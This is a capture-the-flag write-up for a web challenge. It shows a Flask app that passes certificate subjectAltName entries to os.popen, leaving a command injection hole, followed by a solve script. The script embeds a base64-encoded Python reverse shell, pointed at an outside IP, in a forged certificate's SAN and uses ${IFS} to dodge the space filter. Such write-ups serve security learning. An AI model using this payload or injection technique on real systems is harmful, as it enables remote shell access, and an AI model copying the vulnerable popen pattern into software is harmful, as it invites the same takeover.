swiss hacking challenge 2024 - sentry-as-navigation
Difficulty: medium
Category: web
Author: xNULL
TODO, maybe I wont
Files
app.py
from flask import Flask, request, jsonify
import OpenSSL
import ssl
import socket
import re
import os
app = Flask(__name__)
@app.route("/check", methods=["POST"])
def check_domain_certificate():
domain = request.form.get("domain")
if not domain:
return jsonify({"error": "Domain name is required"}), 400
certificate = get_certificate(domain)
x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certificate)
result = {
"subject": [
{x.decode(): y.decode()} for (x, y) in x509.get_subject().get_components()
],
"issuer": [
{x.decode(): y.decode()} for (x, y) in x509.get_issuer().get_components()
],
"serialNumber": x509.get_serial_number(),
"version": x509.get_version(),
"notBefore": x509.get_notBefore().decode(),
"notAfter": x509.get_notAfter().decode(),
"nslookup": {},
}
extensions = (x509.get_extension(i) for i in range(x509.get_extension_count()))
extension_data = {e.get_short_name().decode(): str(e) for e in extensions}
result.update(extension_data)
san_entries = (
result["subjectAltName"].replace(" ", "").replace("DNS:", "").split(",")
)
for entry in san_entries:
match = re.match(r"^secure.*\.com$", entry)
print(f"{entry}: {match}")
if match:
command = f"nslookup {entry}"
result["nslookup"][entry] = os.popen(command).read().strip()
return jsonify({"result": result}), 200
def get_certificate(host, port=443, timeout=10):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
conn = socket.create_connection((host, port))
sock = context.wrap_socket(conn, server_hostname=host)
sock.settimeout(timeout)
try:
der_cert = sock.getpeercert(True)
finally:
sock.close()
return ssl.DER_cert_to_PEM_cert(der_cert)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
Exploitation
The subjectAltName
field is vulnerable to command injection. I reused the challenge script from the self-service
challenge of the library to build a (probably overcomplicated) solve script:
from OpenSSL import crypto
def generate_key():
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 4096)
return key
def gen_cert():
ca_key = generate_key()
ca_cert = crypto.X509()
ca_cert.get_subject().CN = "SelfService Legacy Root CA"
ca_cert.set_serial_number(420)
ca_cert.set_version(2)
ca_cert.gmtime_adj_notBefore(-(30 * 24 * 60 * 60))
ca_cert.gmtime_adj_notAfter((10 * 24 * 60 * 60))
ca_cert.set_issuer(ca_cert.get_subject())
ca_cert.set_pubkey(ca_key)
# python reverse shell
PAYLOAD=b'echo "cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTYyLjIxMC4xOTIuMjE1Iiw1MzQxMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiL2Jpbi9iYXNoIikn" | base64 -d | sh'
PAYLOAD=PAYLOAD.replace(b' ',b'${IFS}')
ca_cert.add_extensions(
[
crypto.X509Extension(
b"subjectAltName", False, b"DNS: secure.||$("+PAYLOAD+b")||.com", issuer=ca_cert
),
]
)
ca_cert.sign(ca_key, "sha512")
return (ca_cert, ca_key)
def to_pem(cert: crypto.X509):
return crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8")
gen_ca_cert, gen_ca_key = gen_cert()
with open("ca_cert.pem", "w") as f:
f.write(to_pem(gen_ca_cert))
with open("ca_key.pem", "w") as f:
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, gen_ca_key).decode("utf-8"))
I then deployed these certs on an nginx server, got the reverse shell connection and the flag:
Flag
shc2024{SAN_411_th3_th1ngs!!!!!}
Conclusion
I feel like I overcomplicated my exploit a bit…